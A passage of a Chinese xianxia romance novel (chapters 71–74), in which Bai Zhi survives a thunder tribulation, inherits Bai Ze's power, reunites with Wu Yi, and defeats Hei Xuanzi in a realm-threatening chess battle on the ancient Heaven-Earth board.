又一道雷劫降下,巨响之中,她心神几乎飞散,白芷强忍住全身的痛楚,来不及细想,结印准备抵挡雷劫。
奇怪的是,她浑身气息通畅,灵脉调动自如。
她这才惊讶发现,身上的封印不知何时已经解开了,身体中似乎还有另一股力量在帮她。
一道道的雷光中,她的身体急速变化,身上的皮肤一片片碎裂化作白光。
紫纹笛子忽然被雷劫击碎裂了,再也没有一丝灵力。
白芷心中悲痛,紫纹笛像是承受了很多的力量,难道方才一直是这只笛子在助她渡劫吗?
此刻别无他法,她只能咬牙继续历劫。
又在一道金光之中,她消弭了□□,彻底化为虚空一道神魂。
半空之中,她神态端庄,宛若神女,双目低垂,手中结印,仿佛有无限的大道隐含其中。
就在最后一道天雷劫落下之前,一道白光包裹住了他,慢慢融入,成为她身体的一部分。
她化为虚无的身体渐渐实体化,眉心的金莲印愈发流光溢彩。
白芷微微睁开眼,眼前竟然出现了一个美丽的陌生女人。
她飞散着白发,一身素白道袍,气质出尘脱俗,样貌有些熟悉。
白芷怔怔出神:“你是谁?”
她悬浮于半空之中,朝着白芷微微一笑:“你见过我,我就是上古仙兽,白泽。”
白芷彻底愣住:“你是浮华幻境的主人,白泽?”
“正是。”白泽望着她,手中幻化出一朵金莲,金莲缓缓朝着她飘来。
“你是我身体的一部分,乃是我残留灵力化形的一朵金莲。”
白泽变出的那朵金莲融进白芷身体里,消失不见。
白芷顿时感觉神台清明了不少,境界进一步提升。
“方才是你救了我吗?”白芷感激的看着她。
白泽柔声道:“是,你是这天地间,尚存的最后一丝我的气息,又因为你是我的血脉,方才你遭受雷劫,我也被迫激发出实体,阴差阳错护下你。”
“那方才的金莲是?”
白泽缓缓道:“那是我身体中残存的全部神力,已经全部渡给你了。”
白芷大吃一惊:“你为什么这么做?”
“我早该消散于天地间了,如今出现也不过是你偶然间给我提供了契机,我护你一命,是想求你一件事......”
白泽低垂下眼,继续道:“请你,放过黑玄子一命。”
白芷微微一愣,黑玄子,衍决……
白泽继续道:“我知道,他为了复活我,做了很多错事,万死难辞其咎。他本性不坏,只怪我没能赴约,他形成了执念,当年战场上的匆匆一面,竟成了永别......”
白泽幻化出那枝海棠花,娇艳欲滴,仿佛刚摘下来一样,跨越了千万年仍未曾变化。
“因果循环往复,他竟然一错再错,走到了今天这一步,仙族不会放过他的。可我无法割舍与他的回忆,始终放心不下,我将全部神力赠与你,从今以后,浮华幻境也是你的本命法器。”
白泽神情悲戚:“只求你,放过他一命。”
空中传来一声无奈的叹息,似乎藏着浓浓的哀伤。
她抬眸,白泽已经
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消散在空中了。
那只海棠花缓缓从半空落下,稳稳停留在她手中。
她凝望着这枝海棠花。无数白泽与黑玄子经历的画面如潮水般涌入脑海,像再一次体验了浮华幻镜。
白泽的神魂与她彻底相融,棠花枝也自我消散,她伸出手,空中有零星的粉色飘然落下。
她仍愣在原地,半晌才浑然不觉的擦了擦脸庞,惊觉脸上泪痕满布。
她竟然哭了......
她起身,远处洞口在望。
她成功抗住了雷劫,已经度过了千劫塔的幻境,如今神魂合一,心下大定。
挥手间,白芷幻化出一朵金莲,轻拈花枝,细嗅芬芳。
她的五官越发清丽出尘,境界也已经踏破开天,当今世道难逢敌手。
她拿出手中那只碎裂的紫纹笛,正想施法复原,却发现无论如何也复原不了。
她一惊,恐怕因为这只笛子是在塔中遭受雷劫才毁坏,所以无法修复。
笛身既然碎裂,笛子也无法继续使用了。
无奈,她只能将这只碎笛重新收入怀中。
忽然见黄鹂小跑而来,她大喊:“小白,你在这里,吓死我了,整个仙界都寻不到你踪迹,我还以为,再也见不到你了呢!”
黄鹂眼中似有泪花闪烁,十分激动。
白芷温声道:“别伤心了,我因祸得福,历经雷劫,如今已经踏破开天境。”
“整个仙界都知道了,万法尊首竟然是魔界转轮王,企图对你不测,你被逼无奈才跳入千劫塔谋求一线生机。还好,你心性坚定,如今历劫归来,反而境界大增!”
白芷惊讶道:“你们都已经知道了?”
黄鹂点点头:“你有所不知,那日转轮王将你逼进千劫塔后,金仙当晚就发现你的命灯湮灭,将此事彻查了个遍。如今转轮王已经被关押送入天牢,等候发落。等行刑日一到,他就会神魂俱灭。”
白芷听完她一番话,心中复杂难言。没想到衍决已经被关押入天牢,可她已经答应了白泽要留住他性命。
白芷问道:“距离行刑之日还有多久?”
黄鹂思索片刻:“据说,三日后就要行刑。”
“好,阿鹂,我还有些事情要办,麻烦你先行代我和金仙报一声平安。”白芷皱了皱眉。
黄鹂虽然有些疑惑,但还是应道:“嗯。”
如今白芷境界高深,自然不需要她担忧安危,说完黄鹂便离去,先向金仙通报。
白芷又拿出那只笛子,衍决的事情迫在眉睫,可她还有另一件更重要的事情要办。
方才在千劫塔中,她依稀记得最初的雷劫是这只紫纹笛替她挡下的。
亲眼望见这只笛子破碎倒没什么,可方才她施法无法将它复原,内心深处还是有一丝隐隐的担忧。
白芷深呼一口气,施法口吐剑诀。
这是一道再普通不过的剑决,施法者可以召来自己的本命佩剑。
她没有本命佩剑,却和无奕血脉相连,自然会召来昆仑雪。
一息之间,那把剑便出现在她手中。
白芷心猛然一抽,她最害怕的事情还是出现了,她几乎要握不住这把剑。
此剑应她召而来,说明一件事。
剑的主人不在了。
72. 第 72 章
白芷心中急切,收起昆仑雪,当即决定去人界天璇宗一躺。
她不愿回碧岚宫,但又担忧无奕安危,便决定先去找乌星问问。
待她下界到了主峰,天璇宗还是平日里模样,乌星却不知去处。
她随手招了一个弟子询问:“副掌门去了哪里?”
那弟子回:“回掌门,副掌门去无相山西面的山道了。”
宗门西侧背阴,山势险峻,他没事去那里干嘛?
白芷朝西面望去,那里的山道鲜少有人上山,大多客人都是从无相山正面沿石阶而上,西面的山石阶陡峭,年久失修,不适宜游客到访。
她心生疑惑,便朝着西面山道走去。
待白芷到西山道,除去乌星,还看到了另一个熟悉的身影。
守道弟子开口:“此路不通,请回吧。”
孙昭站在西山道口,神情复杂:“我不愿碰见天璇宗弟子,才从此路上山,麻烦通融。”
看守反问:“你不愿碰见我宗弟子,还上山干嘛?”
另一位看守客气些,看到她手持配剑,一身紫衫是天剑门的样式。
他和气笑道:“原来是天剑门贵客,只是这条山道不适合登山,还请移步正面主山道。”
孙昭淡淡道:“不是我要上山,是你们副掌门寻我。”
那两名看守面面相觑,显然没明白其中意思。
乌星忽然从山道一步步走下来,忙迎了上去:“孙前辈远来是客,是敝派弟子失礼,快请上山。”
他一边迎接孙昭,一边呵斥弟子:“你们二人退下,她可是我好不容易找来的外援。”
此人让副掌门亲自来迎,那两位看守皆是一愣。
白芷站在远处看了许久,这时才走上前去:“乌星,这是怎么一回事?”
乌星见白芷出现,顿时面露欣喜:“小香姐姐,你回来了!”
两名看守行礼:“见过掌门。”
孙昭眼中闪过讶然,随后敛去神色,回归一副淡漠得样子,她转身:“既然白掌门已经归来,此事也不必我出手相助,孙昭先行一步。”
白芷还不明白发生了什么,仍是一头雾水。
乌星忙向白芷解释道:“小香姐姐,当初你离开宗门时,曾教授我们水炼术,从此门内便用水炼术制作大通丸贩卖,效率是以往百倍。”
“可是近几日丹房出了岔子,或许是没学到水炼精髓,控水不够精准,接连浪费了好几批药材,眼看回春堂的单子限期就在明日,我才只能找来孙前辈帮忙。”
白芷点了点头,想来是几日前,她身陷千劫塔,乌星联系不上她,便只能求助孙昭。
而孙昭看到她已经归来,自然认为不再需要自己帮助,这就决定下山离去。
孙昭已经朝着来路沿石阶而下,乌星面露难色,不知如何收场。
白芷出言喊道:“孙师姐,远来是客,不如到主峰一叙。”
孙昭头也不回,冷冷道:“我不是你师姐,也不会再来天璇宗,就此别过。”
白芷明白孙昭是为自己骗她一事介怀,自然不想与自己见面。
可孙昭既然愿意远道而来帮助乌星,于情于理,她都该道谢。
眼看气氛微妙,孙昭是他好不容易请来的贵客,小香姐姐又突然归来,乌星夹在中间不知该说什么好。
白芷吩咐道:“乌星,你先带着弟子下去,我与孙师姐有话要说。”
乌星点点头,如蒙大赦,很快带着弟子便下去了。
孙昭冷笑:“白掌门不必大废周章,我和你没什么好说的。”
白芷苦笑开口:“孙师姐,我无恶意,只是想感谢你出手相助天璇宗……”
翠鸟停于树梢,她们之间忽然安静下来,可闻鸟儿翅膀扇动,枝头微颤的声音。
孙昭深呼一口气,半晌才道:“弥恒派已消失,天下丹宗凋零,我不是帮助天璇,只是为了丹术……”
白芷垂下眼眸:“但弥恒派的消失,有我的原因……”
孙昭本不愿提起这件事,谁知白芷主动挑起话题,她皱起眉头,逐渐怒不可遏。
“当然有你的原因!不止你,还有他。”孙昭眼角微红,眼中染上怒意。
“他碧岚宫的夺权私事,却要屠尽天璇满门,血染我道侣大典,连我师父也命丧那日,而你,身为妖族埋伏宗门,东窗事发后和他一走了之。”
孙昭伸手握紧剑柄,努力克制自己对白芷拔剑相向的冲动。
白芷看着她愣住:“……对不起。”
一切往事已成定局,嵩山道长和云天真人也已作古两百年,她只能说对不起。
孙昭望着远处,似是不愿再提起往事,她又将握着剑柄的手垂下,过了很久才问道:“你为何要重建天璇宗?”
白芷愣住,事到如今已经不必再隐瞒,她轻叹一口,将过往道来。
从一开始,她还是天璇宗上的一只小花妖,到碧岚宫中被无奕误解,结束情劫回归仙体,出任清虚天极,再到后来,她为了解除因果才重回人界。
故事太长,等到讲完,已不知过去了多久。
“原来是这样,我见你气息通透,确实不像妖族。”孙昭低喃,“所以,若不是因果相缠,阻碍你修为,你也不会下界重建天璇宗。”
白芷沉默片刻,才低声道:“是。”
确实,她一开始下界重建天璇,只是为了解除自身因果债,这么看来,她也夹带了私心。
本以为孙昭会拂袖而去,谁知她却怅然道:“但这些年来,你对天璇宗尽心尽力,也是事实。你参与蓬山大会,也是为复兴丹术,比武时你分明可用仙术作弊,却没有。”
白芷没想到她回这样认为,摇摇头:“那些都是我份内事罢了。”
“不。”孙昭望着她,“你苦心重建天璇,我却被仇恨蒙蔽了双眼,投入天剑门苦修只为复仇,已经很久没碰丹术了。”
白芷忙道:“你也是迫不得已……”
孙昭一脸惆怅,本不欲多说,忽然瞥见白芷腰间别着的紫纹笛,想起那天白芷在天剑门上是被无奕掳掠去的。
她又问道:“那日,你是如何从碧岚宫脱身的?”
那天蓬山大会上乱成一团,无奕带着魔修入侵,正道人士奋起反抗,最终无奕还是带着白芷回碧岚宫了。
白芷顺势拿起紫纹笛
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,放在手中摩挲:“他强留我不得,我便回仙界去了。”
方才这只笛子别在白芷腰间看不清晰,如今她取出放在手掌心,见笛身裂纹满布,孙昭才发觉异样。
“这只笛子为何……?”孙昭疑惑。
白芷神情黯然:“我回到仙界后,遭他人暗算,被迫身陷千劫塔险境。他舍命相助,如今下落不明,这只笛子也一并碎了。”
无奕虽是她仇人,但见白芷这幅伤心模样,孙昭还是忍不住出言。
“无奕毕竟是魔君,境界深不可测,不会因为这点伤害就丢掉性命,你大可不必担心。”她注视那只笛子。
“可昆仑雪都被我召来了,没有第二种可能,他已经不在了……”白芷仍不住神伤。
“他当真已死?”孙昭不敢相信。
“我不知道。”白芷握紧那只碎裂的笛子,全然不顾裂纹割伤手,“我此番下界也是为搜寻他的音讯,可惜没有任何消息。”
孙昭想找无奕报仇,却忽然得知仇人已意外身陨,那一瞬间除去震惊,怨念和遗憾似乎都消散了些。
二人一阵沉默,直到天边夕阳出现。
孙昭微微一笑:“我要走了,白芷,你日后好好建设天璇宗吧。”
白芷喊住她:“孙师姐,我时常穿梭仙界,宗门事务照顾不足,若以后门内还有无法解决的纰漏,可否不吝相助?”
孙昭许久都没有回答,晚霞渐浓,她的身影笼在红色霞光里。
她低头一笑,转身回道:“好,我知道了。”
她承了这一句孙师姐,自然要替白芷做事,孙昭淡然一笑,下山而去。
孙昭与她之间的恩怨已了,但是她和无奕之间的却……
白芷低头,望着掌心的碎裂笛子:“你还好吗?若是无碍,求你出现一下吧,我有些……担心你。”
那只笛子忽然从她掌心挣脱,飞到了半空中。
接下来,发生了让她震惊万分的一幕。
紫纹笛迸发出强烈白光,忽然将裂纹全部补齐,回归原貌。
又过一阵,白光淡去,无奕已经出现在她身后,紧紧从背后抱住她。
白芷感觉腰间一陷,他炽热鼻息扑在耳边:“阿芷。”
白芷面色微变,瞬间推开他:“你什么意思?又在骗我的,这样很好玩吗?”
无奕目光似十分委屈:“我没骗你,当时替你挡下千劫塔的雷灾,我境界受损,只能临时找一处地方疗伤,碰巧这只笛子里有我先前留下的一缕神识,我便寄宿进这只笛子里了。”
“那你为什么不和我说一声,连昆仑雪都被我召来。我还以为你,以为你……”白芷气的说不出话来。
她为他担忧,他却毫发无损,只不过暂时寄宿于笛子疗伤罢了,得知真相,她勃然大怒。
无奕怔了一下,柔声道:“先前是伤势还未复原,后来想到你可能不想见我,碧岚宫时,哪怕魔珠都不能留下你,我只能寄宿在这只笛子里,好待在你身边。”
他又帖得更近:“现在你担心我,一定是想我了,对不对?”
白芷简直要被他气死,一把推开他:“你还是继续回笛子里去吧!”
73. 第 73 章
无奕笑道:“其实,将神识寄宿在笛子里也挺好的,可以一辈子跟你呆在一起。”
他目光真挚,静静望着她,眼中满是欣喜,慢慢靠近身躯。
白芷却余怒未消,尽力维持着平静的表情:“你的伤势既然已经恢复,就好办多了,赶紧回碧岚宫去吧。”
她扯了扯嘴角,退后半步和他保持距离,下了逐客令。
无奕凑近:“阿芷,我要和你一起回去。”
“别闹。”白芷别开脸,“我不回去。”
其实,无奕出现的那一刻,她心中欣喜,确实松了一口气。但她还要回仙界去救下衍决,现在绝不是回碧岚宫的时候。
无奕先是有些伤心,而后认真思考道:“你是不喜欢碧岚宫吗?还是……你心里还是不肯原谅我。”
“不是,但我毕竟是仙族……”白芷眼眸微微下垂。
她手指无意识绞着褶裙上的束带,避开他直直的目光。
“仙族怎么了,你不是已经辞去了天极之位吗?仙族弟子也不必一直待在仙界,去哪里都是自由。阿芷,你现在生的好美,比前世还美。”
他这么一说,白芷反而柳眉横折,冷冷道:“怎么,我前世生的不够漂亮,所以你看不上?”
“怎么会。”无奕抱住她,“我一眼就看中了你。”
他眼神小心翼翼,生怕惹怒了她,又伸手将一缕发丝拨到她耳后,眉眼更显温柔。
白芷心软下来,叹一口气,轻轻推开他:“好了,不跟你开玩笑,我回仙界确实还有些事。”
白芷将自己回到清虚天后,如何被衍决逼入千劫塔,和塔中遇见白泽,并托付她遗愿的事告诉了无奕。
“谁知我刚出千劫塔,就收到消息,衍决已经被打入天牢,只等审判处死,但还有三日行刑之期,我又担心你安危,这才……”
好在无奕并无大碍,她可以及时赶回仙界去,应该还来得及。
无奕沉思:“所以,你现在要回仙界去救他?我陪你一起去。”
白芷摇摇头:“不行,你现在对于仙族来说仍算仇敌,此事还是我一人前去较稳妥,等我将一切事情了结,就来碧岚宫找你。”
无奕面露忧色:“阿芷,我担心你。”
他似是不愿松手放开她,生怕松开手她就不见了。
“我现在可是开天境,获得了白泽的神力,哪有那么容易受伤。”白芷笑道。
“好。”无奕握紧她手,“那你带着这只笛子,如遇不测,吹响笛子我就会赶到。”
白芷温柔一笑,点了点头,无奕才消失不见。
……
仙界,清虚天。
四周云雾环绕,足底滚滚仙尘,和寻常一样,但过于安静,境天守卫不见一人,不知去了何处。
白芷方才到境天,一位弟子就跑上前来:“白芷仙主,不好了!转轮王从天牢中逃出来,在紫胜岛大开杀戒,说要见你。”
白芷眉头微皱,居然从天牢逃跑,衍决真是个疯子,现在想来,先前她与无奕之间的种种误会也是他从中作梗。
他顶着一张又一张虚伪的面具,把自己和无奕骗得团团转。
碧岚宫时她被无奕误解,是因为衍决在浮华幻镜中做了手脚,费尽心思埋伏仙界是为了用她的身体复活白泽。
谁知她为活命逃入千劫塔,反而得白泽相助。
可她虽答应白泽要护他性命,他若再随意杀人,残害仙族弟子,就算她也保不住他。
“我知道了。”白芷不敢耽搁,捏诀前往紫胜岛。
紫胜岛上殿外,众仙家齐聚。
金仙结印唤来狂风暴雨,以数道雷灾形成边界,将黑玄子牢牢困在阵法中央。
“黑玄子!你竟敢逃出天牢打伤弟子,来人,给我将他就地处置!”金仙勃然大怒的声音充斥威慑力。
三层仙族弟子将黑玄子团团围住,他操纵天铩业火将几人击退,又很快有人冲上来。
炽热焰花越来越微弱,他的身体也到了极限。
金仙右手一覆,雷灾狠狠劈在黑玄子脊背上,他毕竟曾任清虚天极的位置,此事理应由金仙出面,清理门户。
再说黑玄子身手重伤,难成气候。暂时没到需要惊动其他境天主的时候,金仙便先一人率领仙族弟子围堵。
雷灾没能将他击倒,黑玄子站在远处,浑身带着细密的伤口,素白衣袍上数道血痕。
偶尔可见翻开的血肉被泡的有些发白,已经流不出血,看来先前是被关押在水牢。
白芷皱眉,他浅的伤口几乎成了淡白色,深的伤口深可见骨,只能见发白肿胀外翻的皮肉。
他眼中像是只剩麻木和不甘,一遍又一遍击退仙族弟子,大声喝道:“我要见观尘!让她来见我!”
白芷扶起一位被击退的仙族弟子,一边朝黑玄子走去。
见到白芷出现,他嘴角勾起一个笑,失魂落魄的神色才染上一丝光彩:“观尘……不对,白泽!你终于来见我了。”
白芷足尖轻点,瞬间移到他年前的位置,望着他,神色无悲无喜。
白芷淡然道:“你看清楚,我不是白泽,白泽已经死了,死在雾瘴的仙魔大战中了。”
衍决无比震惊,眼中染上癫狂,连连摇头:“不可能,不可能……白泽绝不可能死,她还没有赴约呢……”
他手中紧紧攥着棠花枝,力道之大,指骨关节已经泛白也不曾松手。
白芷叹气挥手,将他视若珍宝的海棠花枝拿来。
她静静的看着他:“黑玄子,你看清楚了,花枝已经没有法力支撑了,白泽的神力已经彻底消散,你在欺骗自己。”
那花枝一离开他手,飞入她掌心,渐渐化作齑粉,黑玄子发疯一样扑上来,什么也没有抓住。
“不!!”
黑玄子双目赤红:“怎么可能,白泽不可能死,不可能,她可是上古神兽。你身上为什么有白泽的神力,是不是你杀了白泽!”
白芷周身的光华闪耀,挡住他前进的步伐,任凭他咬牙切齿,依旧寸步难行。
她冷漠的看着他:“我被你逼入千劫塔后,险些困死在其中,多亏白泽出手相助。”
“咳咳,她为什么救你!”黑玄子大口大口的喘气,间隙咳嗽几口血水。
“因为……”白芷实在看不下去,想到白泽临终遗愿,用灵息稍微舒缓他的经络,“她用神力交换,
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托付我保住你的性命,她从来没有放弃你,斯人已逝,你也不要一错再错了!”
听闻白芷一番话,黑玄子彻底愣住了。
眼看他从先前狂躁忽然平静下来,白芷挥手下令让仙族弟子上前:“还不速速将他捉拿。”
她一边朝着金仙缓行一礼:“我受仙兽白泽所托救他一命,望境天主网开一面。”
金仙点了点头:“既然是你的请求,我就放他一命。来人,将这孽障关押入天牢,废去浑身修为。”
他一边抬手示意,几位仙族弟子领命冲上去:“哼,留你性命已是难得。”
“哈哈哈!”黑玄子忽然大笑起来,忍不住跪倒在地上,笑的咳出血水。
“我努力了这么久,只为再见她一面,既然没有可能,我为什么要苟活这世间?”
金仙和白芷皆是怔怔看着他。
黑玄子摇摇晃她的站起来,笑着指向众人:“你,你,还有你们,全部给白泽陪葬吧!”
他双手拍向地面,发动法术,地底裂纹迸发出闪耀白光,他忽然从原地消失。
众人大乱,金仙安抚道:“不必慌张!他身受重伤,逃不了多远,我在这魔障身上打了追踪印,一算便知。”
他手中结印,验算片刻,随后震惊道:“他竟然逃去了紫胜旧岛!”
“你们几个,速速通知天帝和其他境天主!”
白芷感到天地摇晃,勉强稳住身形问道:“境天主,紫胜旧岛是什么地方?”
金仙面色凝重:“旧岛便是千万年前,天道和白泽仙兽居住的地方,那里存放着上古神器天地棋盘,这魔障是想用天地棋盘吞噬三界。”
听到吞噬三界四个字,众弟子大惊失色。
“区区一张棋盘,怎的有如此大的威力?”
金仙望着远方:“天地棋盘是上古神器,其上排列的棋子正是天下地脉走向,只要注入大量法力启动,棋盘就会进入天地灵感状态,再将棋子一颗颗毁去,三界就会彻底陷入无尽浩劫!”
他们交谈间,天帝与其他境天主已经匆匆赶到,白芷出言:“既然如此,我们需得赶快到紫胜旧岛上阻止他!”
天帝点了点头:“黑玄子的原身是棋盘中的一枚黑棋,自然可以随意穿梭其中,我等却是不行,需要本座开启机关,才能进入旧岛。”
天帝施法催动,一道金光射向大殿屋檐正中的一只渡金仙鹤,仙鹤张开翅膀,朝天一鸣,随后沉入其中,整座大殿也随着仙鹤一起向下沉去。
直到整座大殿沉入地底,一颗硕大的古树从地底陡然生起,枝叶茂密,树干粗长,遮天蔽日。
巨树从中分开两半,一半的树叶上萦绕白光,另一半树叶上则凝聚黑雾。白光与黑雾向下在主干处碰撞,产生的灵力供应树根生长。
白芷仰头喃喃:“枝分两股,一半主阳,一半主阴,周而复始,生生不息,这是长生树。”
天帝挥手,烟尘散去,长生树彻底暴露在众人视野中,大家这才发现四周光景已经完全改变。
白芷看着四周岛上光景,简直和浮华幻镜中的紫胜岛如出一辙,不由得恍然出神。
天帝肃然道:“这里就是紫胜旧岛。”
74. 第 74 章
“不好,岛身在微微颤抖,他的速度太快,天地棋局已经启动!”金仙也面露忧虑。
只见长生树头顶忽然生起一座巨大的棋盘,就这么浮在半空中,每一颗棋子都足足有一人这么高大,棋盘上原本的棋局走向虚化成不同的山脉河流分布。
黑玄子在其中呼风唤雨,将一众山脉摧毁,洪水如猛兽吞没了所有山林大地,棋盘中电闪雷鸣,底下的河床从中间断裂开来,山摇地动。
“糟了,他正在破坏三界山脉!”白芷呼出声。
天帝不怒自威:“天地棋盘是上古神器,神器有灵,只有身怀远古血脉的人可以进去,旁人需要花费不少功夫打开入口。”
白芷当即向金仙汇报:“境天主,白泽正是远古血脉,而我已取得白泽的神力,可以轻易进入这棋盘,请先让我去阻止这场浩劫。”
金仙皱起眉头:“也只能这样了,你先去阻止他。其他弟子随我一同施法,尽快破开这棋盘入口。”
白芷起身向着棋盘飞去,到了硕大的棋盘面前,刚进入一道透明的屏障眼前就有一波骇浪扑面,险些将她伤到。
她手中迅速结印,奋力接下那滔天巨浪,反将巨浪推向黑玄子,借力打力。
黑玄子的发丝四处飞扬,狂笑道:“蜉蝣撼树,你完全不懂棋道,根本阻止不了我!”
棋盘似乎承受了太多灵力暴动,浮在半空中摇摇晃晃,盘中的江流愈发不受控制的四处流窜。
白芷蹲下,一手拍向站立的地底,以她手掌为圆心向四周传输去浩瀚的灵力,半空中摇晃的棋盘忽然收到了支持,渐渐稳定下来。
“你自诩棋道高明,启动了天地棋盘却只顾着毁坏,我也瞧不出你哪里高明。”白芷嘲讽笑道。
她挑眉向对方挑衅,只会打打杀杀算什么本事,不如和她认真下一场棋。
黑玄子果然吃这一套,他冷哼一声,飞到更高的半空,俯视棋盘中的一切:“好啊,我们下一场,你若赢了,我便不再毁坏三界。可你若是输了,就要将白泽的身体给我,让我复活白泽。”
白芷毫不畏惧:“来吧。”
她施法也飞到和黑玄子一样的高度,两人开始隔空运子下棋,只不过这盘棋下的是天下脉势,每一颗棋子变动的同时,山水脉络也在变化,关乎三界众生安危。
黑玄子推出一掌,黑色棋子顺势变动。白芷二指射出金光,推动下边的一颗白子。
几番来回,白芷额头溢出汗来,她其实完全不懂棋道,可此刻若不出手阻拦,三界就将毁于一旦。
眼看二人你一子,我一子,白芷完全被黑玄子压着打,找不到任何反制的破绽。
白芷深呼一口气,抬眼望向棋盘外。
黑玄子似乎明白她的想法:“不要挣扎了,外边的声音是传不到里面的,法术也会被棋盘屏障隔绝,至于破开棋盘的入口还要很长一段时间,不等他们进来,你就会输掉这盘棋,不如趁早认输吧。”
白芷咬紧下唇,眼神坚定:“我是不会认输的。”
她继续推出上边的一颗白子,此子与下方她先前部下的白子形成包围之势,这一颗下去,黑子势头竟被打压了三分,被包围的几颗黑子岌岌可危。
白芷眼中又闪过自信:“你的棋道不过如此。”
黑玄子却神色微妙,似笑非笑,挥手间挪动了左边一颗黑子。这颗子一动,他手下的黑色山脉形成了汇聚地势,周围地势开阔,靠山面水,藏风聚气。
所有黑子山势借着白芷手底下的白子挡住了周围地煞,已成福灵汇聚之龙脉。
黑玄子先是低笑,而后渐渐狂放,大笑道:“你真是丝毫不懂棋道,分明是你输了。”
白芷大惊失色,黑子形成的山脉忽然幻化出一头巨龙,嘶吼着将她布下的白子全部冲散,洪水海啸又再度出现,她边打边退,直到最后已经被逼至角落,无处可去。
她攥紧手掌心,朝着棋盘外望去。
棋盘外,所有仙界弟子都在努力朝着棋盘施法,争取快速破开入口。黄鹂与她对视,一边手中施法结印,一边给她一个安慰的笑颜。
白芷转过头来,目光更显坚定。他们都没有放弃,她怎么能放弃?
她口念法决,施展出化冰术,将差一步扑面的滔天巨浪冻结成冰。巨浪的威力太强大,化冰术仅仅冻结了一瞬,但已经足够,白芷瞬间移位,灵活逃脱。
黑玄子嗤笑:“下一次,你就没那么好运了。”
棋盘中,他布下的几颗棋子再度转换排布,几座高耸的山峰忽然推进,将逃至角落的白芷死死困住。
眼看白芷无处可逃,他再一次召唤巨浪向她扑去。
“这一次,就算你用化冰术也在劫难逃。”他冷笑。
忽然,白芷手中的紫纹笛一闪。
无奕出现,挡在她身前,昆仑雪一剑下去,劈开了一众山脉,高耸的山峰被削去的尖头,白芷顺势召唤出浮华幻镜,挡在他们面前,将巨浪化分成几束洪流,向四周疏导。
黑玄子十分震惊:“无奕?你为什么可以进入棋盘?!”
无奕收回昆仑雪,淡淡道:“我是由远古魔道留下的魔珠化形,也是远古血脉,为何不能入棋盘?”
白芷眸中透着欣喜:“你怎么来了?”
无奕看着她柔声道:“我怎能让你一人置身险境。”
黑玄子更是气急败坏,大喝一声:“那又怎样,我今日一定要毁去这张棋盘!”
黑玄子张开双手,调动起全身的法力,将全部黑子都汇聚起来,全部黑子一颗颗凝聚形成一条比方才压迫感更甚的黑色玄龙。
巨龙朝天怒吼一声,张牙舞爪,朝着白芷和无奕攻来。
他们二人对视片刻。
白芷拿出浮华幻镜折射出明晃晃的白光,致使玄龙短暂的失明,就只是一瞬间,无奕已经一剑划破玄龙咽喉。
白芷正疑惑出神,黑玄子的实力不可能如此不堪一击。果然,玄龙不过是虚晃一枪,黑玄子召来业火在棋盘中迅速燃烧,全部黑子都带上了一层无法熄灭的火光。
正常情况下没有什么焰火能够将天地棋盘点燃,棋盘只对远古血脉有接纳之力。除非,黑玄子燃烧的正是自己的浑身精血以及元神。
“你知不知道燃烧元神的后果是什么?”白芷冷冷道。
“用不着你来提醒我,今日我就要三界覆灭!”黑玄子双眼通红,嘴角微微上扬。
白芷皱起眉头,说实话,黑玄子的生死她毫不关心,可她已经答应了白泽,要留他一命,若是他继续燃烧元神,就会灰飞烟灭,恐怕再没有什么能救得了他。
无奕看出她的担忧:“我先去想办法拖住他。”
昆仑雪随心而动,他乘剑而去,剑身带起风雪,在空中形成一个漩涡朝着黑玄子攻去。黑玄子操控火焰将风雪漩涡打散,空中还残留着水汽瞬间蒸发的声音。
白芷召唤出浮华幻镜,朝着镜子输入大量法力,镜子变得无限大,飞跃至更高空中,朝着整座棋盘一照。
黑玄子感到眼前一黑,缓缓抬头。幻镜高玄空中,如水中落石般荡开一圈涟漪,呈现出熟悉的画面——
千百年前,紫胜旧岛上,天道魔道还在下那盘难舍难分的棋。
不知过去了多久,天道手中持子,却迟迟不曾落下。
天道忽然顿悟:“吾明白了,原来本来道法就没有正邪对错之分,有黑必有白,就像这棋盘,错综复杂,但黑白两子又相辅相成。”
“所有种族也是一样,从来没有什么强弱之分,弱者也能胜强者,强者也未必众望所归,所有种族都应该和谐相处才是天下大道。”
魔道更是惊喜,十分赞成他的看法:“是啊,这也是我上紫胜岛为魔族争取长生道的原因,只因仙族太过强盛,已经影响到平衡。既然你已经明白过来,我也不需要为魔族争取长生了,我们不如就此停止对弈吧。”
“好。”天道缓缓起身,“你千里迢迢上紫胜岛,毅力可嘉,虽然没有赢下这盘棋,长生之道我依旧会赐予魔族。”
“如此真是感谢!”魔道忙起身行礼道谢。
看来这天道也不像传说中那般固执己见,魔道不禁感叹。
他二人是敌亦友,既然已经不必继续对弈,索性开始彼此畅谈。
棋盘中的黑玄子却气愤道:“凭什么?我等了你们这么久,居然没有胜负,操纵了我这么久,连胜负都没有,枉称天地棋局!”
他纵身一跃,进入棋局,局势瞬间改变,一颗黑子奠定了胜负,最终魔道胜了。
天道惊讶道:“你不是说不再落子了吗?这黑子又是怎么一回事?”
魔道也想不通:“这......我确实遵守了约定,没有再落子,这颗黑子我也不知何时落入了棋盘之中。”
可他百口莫辩,棋局已经注定,黑子胜了是事实。
天道失望的摇头:“你......唉!原来魔族终究是魔族。狡诈且言而无信,罢了,是我轻信于你,愿赌服输,长生道我还是会给予魔族,你也不要再来紫胜岛了。”
二人聊的十分不愉快,最终只能分道扬镳,魔道离开紫胜岛后,也因寿命燃尽消散天地。
最终,天道心灰意冷,这才离开了这方小世界。
回忆结束,白芷收回幻镜:“原本各个种族就没有矛盾,是你为一己私欲才导致了棋局决出胜负,天道误以为魔道胜之不武,从此仙魔纷争不断,仇怨至今。”
无奕提剑直指他,剑气凌冽:“魔道想替魔族争取长生,原本二人已经放下偏见,握手言和,是最好的结局。你却私自改变棋局,害得魔道被误解了这么久。”
棋盘外众人也看到了幻镜中浮现的往事,不禁感叹:“原来都是这颗棋子作祟,当真可恶!”
白芷朝着外面望去,不知何时,除去仙族弟子其他人也陆陆续续赶到,一起帮助突破天地棋盘。乌星和孙昭,贾勉与赤地千里正在一齐施法,所有弟子都在棋盘外齐心协力破除阻碍。
黑玄子喃喃低语,自我怀疑:“不是,不是
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我的错!我只是看不下去,他们下了这么久还没能分出胜负......”
棋盘外的众人一齐施法,终于将天地棋局攻破,棋盘失去了法力支撑,瞬间变小,从半空中跌落,黑玄子也摔落在地,瞬间被众人围住。
天帝走上前来,沉声道:“白芷,今日保住紫胜岛,多亏了你的功劳,这孽障也任由你处置。”
白芷和无奕对视一刻,她调动浮华幻镜,镜子瞬间迸发金光,黑玄子在金光的沐浴下,洗去一身修为境界,与凡人无异。
